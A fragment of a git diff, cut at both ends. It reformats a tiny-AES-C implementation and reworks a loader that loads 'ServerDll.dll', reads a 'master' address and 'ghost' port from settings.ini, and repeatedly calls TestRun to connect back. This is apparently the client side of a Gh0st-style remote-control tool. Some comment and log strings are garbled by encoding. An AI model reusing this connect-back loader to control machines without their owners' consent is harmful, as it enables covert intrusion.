g_ConnectAddress.ServerPort(); - strcpy(p + 1, "settings.ini"); - if (_access(path, 0) == -1) { // ļ: ȴӲȡֵǴg_ConnectAddressȡֵ. - strcpy(ip, argv1); - port = argv2; - } - else { - config cfg; - strcpy_s(path, cfg.GetStr("settings", "master", g_ConnectAddress.ServerIP()).c_str()); - port = cfg.Get1Int("settings", "ghost", ';', 6543); - } - Mprintf("[server] %s:%d\n", ip, port); - do - { - run(ip, port); - while (bStop && !bStop() && 0 == status) - Sleep(20); - } while (bExit && !bExit() && 0 == status); + void* hDll = runner->LoadLibraryA(path); + typedef void (*TestRun)(char* strHost, int nPort); + TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL; + stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL; + bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL; + bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL; + if (NULL == run) { + if (hDll) runner->FreeLibrary(hDll); + Mprintf("ض̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); + Sleep(3000); + delete runner; + return FALSE; + } + do { + char ip[_MAX_PATH]; + strcpy_s(ip, g_ConnectAddress.ServerIP()); + int port = g_ConnectAddress.ServerPort(); + strcpy(p + 1, "settings.ini"); + if (_access(path, 0) == -1) { // ļ: ȴӲȡֵǴg_ConnectAddressȡֵ. + strcpy(ip, argv1); + port = argv2; + } else { + config cfg; + strcpy_s(path, cfg.GetStr("settings", "master", g_ConnectAddress.ServerIP()).c_str()); + port = cfg.Get1Int("settings", "ghost", ';', 6543); + } + Mprintf("[server] %s:%d\n", ip, port); + do { + run(ip, port); + while (bStop && !bStop() && 0 == status) + Sleep(20); + } while (bExit && !bExit() && 0 == status); - while (bStop && !bStop() && 1 == status) - Sleep(20); - if (bExit) { - result = bExit(); - } - } while (result == 2); - if (!runner->FreeLibrary(hDll)) { - Mprintf("ͷŶ̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); - } - else { - Mprintf("ͷŶ̬ӿ\"ServerDll.dll\"ɹ!\n"); - } - delete runner; - return result; + while (bStop && !bStop() && 1 == status) + Sleep(20); + if (bExit) { + result = bExit(); + } + } while (result == 2); + if (!runner->FreeLibrary(hDll)) { + Mprintf("ͷŶ̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); + } else { + Mprintf("ͷŶ̬ӿ\"ServerDll.dll\"ɹ!\n"); + } + delete runner; + return result; } diff --git a/common/aes.c b/common/aes.c index fb2296e..0bb8cee 100644 --- a/common/aes.c +++ b/common/aes.c @@ -19,10 +19,10 @@ ECB-AES128 2b7e151628aed2a6abf7158809cf4f3c resulting cipher - 3ad77bb40d7a3660a89ecaf32466ef97 - f5d3d58503b9699de785895a96fdbaaf - 43b1cd7f598ece23881b00e3ed030688 - 7b0c785e27e8ad3f8223207104725dd4 + 3ad77bb40d7a3660a89ecaf32466ef97 + f5d3d58503b9699de785895a96fdbaaf + 43b1cd7f598ece23881b00e3ed030688 + 7b0c785e27e8ad3f8223207104725dd4 NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0) @@ -44,21 +44,21 @@ NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0) #define Nb 4 #if defined(AES256) && (AES256 == 1) - #define Nk 8 - #define Nr 14 +#define Nk 8 +#define Nr 14 #elif defined(AES192) && (AES192 == 1) - #define Nk 6 - #define Nr 12 +#define Nk 6 +#define Nr 12 #else - #define Nk 4 // The number of 32 bit words in a key. - #define Nr 10 // The number of rounds in AES Cipher. +#define Nk 4 // The number of 32 bit words in a key. +#define Nr 10 // The number of rounds in AES Cipher. #endif -// jcallan@github points out that declaring Multiply as a function +// jcallan@github points out that declaring Multiply as a function // reduces code size considerably with the Keil ARM compiler. // See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3 #ifndef MULTIPLY_AS_A_FUNCTION - #define MULTIPLY_AS_A_FUNCTION 0 +#define MULTIPLY_AS_A_FUNCTION 0 #endif @@ -73,59 +73,62 @@ typedef uint8_t state_t[4][4]; // The lookup-tables are marked const so they can be placed in read-only storage instead of RAM -// The numbers below can be computed dynamically trading ROM for RAM - +// The numbers below can be computed dynamically trading ROM for RAM - // This can be useful in (embedded) bootloader applications, where ROM is often limited. static const uint8_t sbox[256] = { - //0 1 2 3 4 5 6 7 8 9 A B C D E F - 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, - 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, - 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, - 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, - 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, - 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, - 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, - 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, - 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, - 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, - 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, - 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, - 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, - 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, - 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, - 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; + //0 1 2 3 4 5 6 7 8 9 A B C D E F + 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, + 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, + 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, + 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, + 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, + 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, + 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, + 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, + 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, + 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, + 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, + 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, + 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, + 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, + 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, + 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 +}; #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) static const uint8_t rsbox[256] = { - 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, - 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, - 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, - 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, - 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, - 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, - 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, - 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, - 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, - 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, - 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, - 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, - 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, - 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, - 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, - 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d }; + 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, + 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, + 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, + 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, + 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, + 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, + 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, + 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, + 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, + 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, + 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, + 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, + 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, + 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, + 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, + 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d +}; #endif -// The round constant word array, Rcon[i], contains the values given by +// The round constant word array, Rcon[i], contains the values given by // x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8) static const uint8_t Rcon[11] = { - 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; + 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 +}; /* * Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12), * that you can remove most of the elements in the Rcon array, because they are unused. * * From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon - * - * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), + * + * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), * up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */ @@ -141,93 +144,90 @@ static uint8_t getSBoxValue(uint8_t num) */ #define getSBoxValue(num) (sbox[(num)]) -// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. +// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key) { - unsigned i, j, k; - uint8_t tempa[4]; // Used for the column/row operations - - // The first round key is the key itself. - for (i = 0; i < Nk; ++i) - { - RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; - RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; - RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; - RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; - } - - // All other round keys are found from the previous round keys. - for (i = Nk; i < Nb * (Nr + 1); ++i) - { - { - k = (i - 1) * 4; - tempa[0]=RoundKey[k + 0]; - tempa[1]=RoundKey[k + 1]; - tempa[2]=RoundKey[k + 2]; - tempa[3]=RoundKey[k + 3]; + unsigned i, j, k; + uint8_t tempa[4]; // Used for the column/row operations + // The first round key is the key itself. + for (i = 0; i < Nk; ++i) { + RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; + RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; + RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; + RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; } - if (i % Nk == 0) - { - // This function shifts the 4 bytes in a word to the left once. - // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] + // All other round keys are found from the previous round keys. + for (i = Nk; i < Nb * (Nr + 1); ++i) { + { + k = (i - 1) * 4; + tempa[0]=RoundKey[k + 0]; + tempa[1]=RoundKey[k + 1]; + tempa[2]=RoundKey[k + 2]; + tempa[3]=RoundKey[k + 3]; - // Function RotWord() - { - const uint8_t u8tmp = tempa[0]; - tempa[0] = tempa[1]; - tempa[1] = tempa[2]; - tempa[2] = tempa[3]; - tempa[3] = u8tmp; - } + } - // SubWord() is a function that takes a four-byte input word and - // applies the S-box to each of the four bytes to produce an output word. + if (i % Nk == 0) { + // This function shifts the 4 bytes in a word to the left once. + // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] - // Function Subword() - { - tempa[0] = getSBoxValue(tempa[0]); - tempa[1] = getSBoxValue(tempa[1]); - tempa[2] = getSBoxValue(tempa[2]); - tempa[3] = getSBoxValue(tempa[3]); - } + // Function RotWord() + { + const uint8_t u8tmp = tempa[0]; + tempa[0] = tempa[1]; + tempa[1] = tempa[2]; + tempa[2] = tempa[3]; + tempa[3] = u8tmp; + } - tempa[0] = tempa[0] ^ Rcon[i/Nk]; - } + // SubWord() is a function that takes a four-byte input word and + // applies the S-box to each of the four bytes to produce an output word. + + // Function Subword() + { + tempa[0] = getSBoxValue(tempa[0]); + tempa[1] = getSBoxValue(tempa[1]); + tempa[2] = getSBoxValue(tempa[2]); + tempa[3] = getSBoxValue(tempa[3]); + } + + tempa[0] = tempa[0] ^ Rcon[i/Nk]; + } #if defined(AES256) && (AES256 == 1) - if (i % Nk == 4) - { - // Function Subword() - { - tempa[0] = getSBoxValue(tempa[0]); - tempa[1] = getSBoxValue(tempa[1]); - tempa[2] = getSBoxValue(tempa[2]); - tempa[3] = getSBoxValue(tempa[3]); - } - } + if (i % Nk == 4) { + // Function Subword() + { + tempa[0] = getSBoxValue(tempa[0]); + tempa[1] = getSBoxValue(tempa[1]); + tempa[2] = getSBoxValue(tempa[2]); + tempa[3] = getSBoxValue(tempa[3]); + } + } #endif - j = i * 4; k=(i - Nk) * 4; - RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; - RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; - RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; - RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; - } + j = i * 4; + k=(i - Nk) * 4; + RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; + RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; + RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; + RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; + } } void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key) { - KeyExpansion(ctx->RoundKey, key); + KeyExpansion(ctx->RoundKey, key); } #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv) { - KeyExpansion(ctx->RoundKey, key); - memcpy (ctx->Iv, iv, AES_BLOCKLEN); + KeyExpansion(ctx->RoundKey, key); + memcpy (ctx->Iv, iv, AES_BLOCKLEN); } void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv) { - memcpy (ctx->Iv, iv, AES_BLOCKLEN); + memcpy (ctx->Iv, iv, AES_BLOCKLEN); } #endif @@ -235,28 +235,24 @@ void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv) // The round key is added to the state by an XOR function. static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey) { - uint8_t i,j; - for (i = 0; i < 4; ++i) - { - for (j = 0; j < 4; ++j) - { - (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; + uint8_t i,j; + for (i = 0; i < 4; ++i) { + for (j = 0; j < 4; ++j) { + (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; + } } - } } // The SubBytes Function Substitutes the values in the // state matrix with values in an S-box. static void SubBytes(state_t* state) { - uint8_t i, j; - for (i = 0; i < 4; ++i) - { - for (j = 0; j < 4; ++j) - { - (*state)[j][i] = getSBoxValue((*state)[j][i]); + uint8_t i, j; + for (i = 0; i < 4; ++i) { + for (j = 0; j < 4; ++j) { + (*state)[j][i] = getSBoxValue((*state)[j][i]); + } } - } } // The ShiftRows() function shifts the rows in the state to the left. @@ -264,51 +260,58 @@ static void SubBytes(state_t* state) // Offset = Row number. So the first row is not shifted. static void ShiftRows(state_t* state) { - uint8_t temp; + uint8_t temp; - // Rotate first row 1 columns to left - temp = (*state)[0][1]; - (*state)[0][1] = (*state)[1][1]; - (*state)[1][1] = (*state)[2][1]; - (*state)[2][1] = (*state)[3][1]; - (*state)[3][1] = temp; + // Rotate first row 1 columns to left + temp = (*state)[0][1]; + (*state)[0][1] = (*state)[1][1]; + (*state)[1][1] = (*state)[2][1]; + (*state)[2][1] = (*state)[3][1]; + (*state)[3][1] = temp; - // Rotate second row 2 columns to left - temp = (*state)[0][2]; - (*state)[0][2] = (*state)[2][2]; - (*state)[2][2] = temp; + // Rotate second row 2 columns to left + temp = (*state)[0][2]; + (*state)[0][2] = (*state)[2][2]; + (*state)[2][2] = temp; - temp = (*state)[1][2]; - (*state)[1][2] = (*state)[3][2]; - (*state)[3][2] = temp; + temp = (*state)[1][2]; + (*state)[1][2] = (*state)[3][2]; + (*state)[3][2] = temp; - // Rotate third row 3 columns to left - temp = (*state)[0][3]; - (*state)[0][3] = (*state)[3][3]; - (*state)[3][3] = (*state)[2][3]; - (*state)[2][3] = (*state)[1][3]; - (*state)[1][3] = temp; + // Rotate third row 3 columns to left + temp = (*state)[0][3]; + (*state)[0][3] = (*state)[3][3]; + (*state)[3][3] = (*state)[2][3]; + (*state)[2][3] = (*state)[1][3]; + (*state)[1][3] = temp; } static uint8_t xtime(uint8_t x) { - return ((x<<1) ^ (((x>>7) & 1) * 0x1b)); + return ((x<<1) ^ (((x>>7) & 1) * 0x1b)); } // MixColumns function mixes the columns of the state matrix static void MixColumns(state_t* state) { - uint8_t i; - uint8_t Tmp, Tm, t; - for (i = 0; i < 4; ++i) - { - t = (*state)[i][0]; - Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ; - Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ; - Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ; - Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ; - Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ; - } + uint8_t i; + uint8_t Tmp, Tm, t; + for (i = 0; i < 4; ++i) { + t = (*state)[i][0]; + Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ; + Tm = (*state)[i][0] ^ (*state)[i][1] ; + Tm = xtime(Tm); + (*state)[i][0] ^= Tm ^ Tmp ; + Tm = (*state)[i][1] ^ (*state)[i][2] ; + Tm = xtime(Tm); + (*state)[i][1] ^= Tm ^ Tmp ; + Tm = (*state)[i][2] ^ (*state)[i][3] ; + Tm = xtime(Tm); + (*state)[i][2] ^= Tm ^ Tmp ; + Tm = (*state)[i][3] ^ t ; + Tm = xtime(Tm); + (*state)[i][3] ^= Tm ^ Tmp ; + } } // Multiply is used to multiply numbers in the field GF(2^8) @@ -318,12 +321,12 @@ static void MixColumns(state_t* state) #if MULTIPLY_AS_A_FUNCTION static uint8_t Multiply(uint8_t x, uint8_t y) { - return (((y & 1) * x) ^ - ((y>>1 & 1) * xtime(x)) ^ - ((y>>2 & 1) * xtime(xtime(x))) ^ - ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ - ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */ - } + return (((y & 1) * x) ^ + ((y>>1 & 1) * xtime(x)) ^ + ((y>>2 & 1) * xtime(xtime(x))) ^ + ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ + ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */ +} #else #define Multiply(x, y) \ ( ((y & 1) * x) ^ \ @@ -348,20 +351,19 @@ static uint8_t getSBoxInvert(uint8_t num) // Please use the references to gain more information. static void InvMixColumns(state_t* state) { - int i; - uint8_t a, b, c, d; - for (i = 0; i < 4; ++i) - { - a = (*state)[i][0]; - b = (*state)[i][1]; - c = (*state)[i][2]; - d = (*state)[i][3]; + int i; + uint8_t a, b, c, d; + for (i = 0; i < 4; ++i) { + a = (*state)[i][0]; + b = (*state)[i][1]; + c = (*state)[i][2]; + d = (*state)[i][3]; - (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09); - (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d); - (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b); - (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e); - } + (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09); + (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d); + (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b); + (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e); + } } @@ -369,93 +371,89 @@ static void InvMixColumns(state_t* state) // state matrix with values in an S-box. static void InvSubBytes(state_t* state) { - uint8_t i, j; - for (i = 0; i < 4; ++i) - { - for (j = 0; j < 4; ++j) - { - (*state)[j][i] = getSBoxInvert((*state)[j][i]); + uint8_t i, j; + for (i = 0; i < 4; ++i) { + for (j = 0; j < 4; ++j) { + (*state)[j][i] = getSBoxInvert((*state)[j][i]); + } } - } } static void InvShiftRows(state_t* state) { - uint8_t temp; + uint8_t temp; - // Rotate first row 1 columns to right - temp = (*state)[3][1]; - (*state)[3][1] = (*state)[2][1]; - (*state)[2][1] = (*state)[1][1]; - (*state)[1][1] = (*state)[0][1]; - (*state)[0][1] = temp; + // Rotate first row 1 columns to right + temp = (*state)[3][1]; + (*state)[3][1] = (*state)[2][1]; + (*state)[2][1] = (*state)[1][1]; + (*state)[1][1] = (*state)[0][1]; + (*state)[0][1] = temp; - // Rotate second row 2 columns to right - temp = (*state)[0][2]; - (*state)[0][2] = (*state)[2][2]; - (*state)[2][2] = temp; + // Rotate second row 2 columns to right + temp = (*state)[0][2]; + (*state)[0][2] = (*state)[2][2]; + (*state)[2][2] = temp; - temp = (*state)[1][2]; - (*state)[1][2] = (*state)[3][2]; - (*state)[3][2] = temp; + temp = 